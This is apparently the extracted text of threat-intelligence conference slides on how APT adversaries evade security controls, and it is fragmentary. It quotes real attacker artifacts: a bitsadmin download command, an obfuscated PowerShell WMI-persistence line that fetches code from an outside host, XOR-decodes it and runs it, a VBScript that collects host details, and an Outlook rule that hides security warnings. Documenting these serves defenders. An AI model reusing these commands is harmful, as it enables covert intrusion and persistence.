Defensive Evasion: How APT Adversaries Bypass Security Controls

Phil Burdette

Aaron Shelmire
Where’s PHIL?

Shellfire
Attends Undergrad in Northern Pennsylvania
Attends Graduate Program at Carnegie Mellon
Begins working at CERT/CC
Joins the SecureWorks Counter Threat Unit
Leaves the SecureWorks Counter Threat Unit
Leaves PHIL with an RSA Presentation
Rejoins the SecureWorks Counter Threat Unit

Nighthawk
Attends Undergrad in Northern Pennsylvania
Attends Graduate Program at Carnegie Mellon
Begins working at CERT/CC
Joins the SecureWorks Counter Threat Unit
Leaves the SecureWorks Counter Threat Unit
Leaves Aaron with a FIRST presentation
The Obvious – Removing Logs
The unspoken - Hiding in the Cloud
Dropping the Powershell

bitsadmin.exe

Process Tree

C:\Windows\Explorer.EXE

C:\Users\%USERNAME%\AppData\Local\Temp\7j0A1F0P705i\2z0P8E2c5p3q\5C7Z2m4KIA2PS0\8F5j4u6t5k1nS3X\4i6d7J8k6d6f0a\8E6L2T2M8p8b2o.exe

C:\ Users\%USERNAME%\AppData\Local\Temp\7j0A1F0P705i\2z0P8E2c5p3q\5C7Z2m4KIA2PS0\8F5j4u6t5k1nS3X\4i6d7J8k6d6f0a\8E6L2T2M8p8b2o.exe

bitsadmin /transfer myjob /download /priority High https://www.dropbox.com/s/ri0ydp58klyilc/index.txt?dl=003D1

User

C:\Users\%USERNAME%\AppData\Local\Temp\7j0A1F0P705i\2z0P8E2c5p3q\5C7Z2m4KIA2PS0\8F5j4u6t5k1nS3X\4i6d7J8k6d6f0a\8E6L2T2M8p8b2o.exe
WMI Consumers

Description
A suspicious persistence mechanism was identified on the system. The Windows Management Interface can be used to start programs in response to a variety of events. This is an uncommon and easily overlooked mechanism that has been abused to allow malware to persist. This configuration may be legitimate but probably merits review.

References
- SecureWorks Blog: A Novel WMI Persistence Mechanism
- Playing with MOF files on Windows

Technical Details

```powershell
$i = 0;[Char[]]$b = {[Char]($wC.DownloadString("http://giantmeteor2016.com/init")))|%{$_-bXoR$k[$I++%$K.LenGth]};IEX ($b-Join"
```
If you don’t see it...

Rule description (click an underlined value to edit):

with 'Confidential CSO Organization Announcements' or 'hoax' or 'spam' or 'virus' or 'malware' or 'phishing'
move it to the Deleted Items folder
and stop processing more rules
Anomaly Evasion: New User Profiles

LogParser.exe -l:EVT "SELECT DISTINCT timegenerated,EXTRACT_TOKEN(Strings,1,'|') AS Domain, RESOLVE_SID(EXTRACT_TOKEN(Strings,0,'|')) AS User, EXTRACT_TOKEN(Strings,3,'|') AS SessionName,RESOLVE_SID(EXTRACT_TOKEN(Strings,4,'|')) AS ClientName,EXTRACT_TOKEN(Strings,5,'|') AS ClientAddress,EventID FROM C:\Users\[REDACTED]\Desktop\logs\dc\[REDACTED].evtx WHERE EventID=003E4624

Set objNetwork = CreateObject("Wscript.Network")
strUser = objNetwork.UserName
strCom = objNetwork.ComputerName
dim ws
set ws = wscript.createobject("wscript.shell")
ws.run("cmd /c echo " + strUser + " --- " + strCom + " >> \\
[REDACTED]\temp\delprof.dll"),0
System Configuration for Malice and Persistence
Hunting the Hunter

Image Path: C:\Windows\Temp\temp.log
Parent Image Path: E:\tomcat70\bin\Tomcat7.exe
Command Line: c:\windows\temp\temp.log a -hpadmin110.COM -m5 -r cy.tmp c:\Cylance/*

Image Path: C:\Windows\Temp\sprvm_5948335.log
Parent Image Path: E:\tomcat70\bin\Tomcat7.exe
Command Line: c:\windows\temp\sprvm_5948335.log a -r -hpadmin110.COM ka.rar
  "c:\Windows\Temp\KAV Remote Installations\35bf376923f4f66e8c85029b6186c8b7_1"
User: [redacted]
Parent: E:\tomcat70\bin\Tomcat7.exe //RS//Tomcat7

2016-08-15T12:45:51.027804  cmd.exe /Q /c 7z a -t7z archived.zip ""C:\Program Files\Websense"

WinRAR
7Zip
Endpoint Agent Impersonation
Bring Your Own Virtual Machine

Process Tree

Install script

Installation Actions

Clean Up

Download

Start Virtual Machine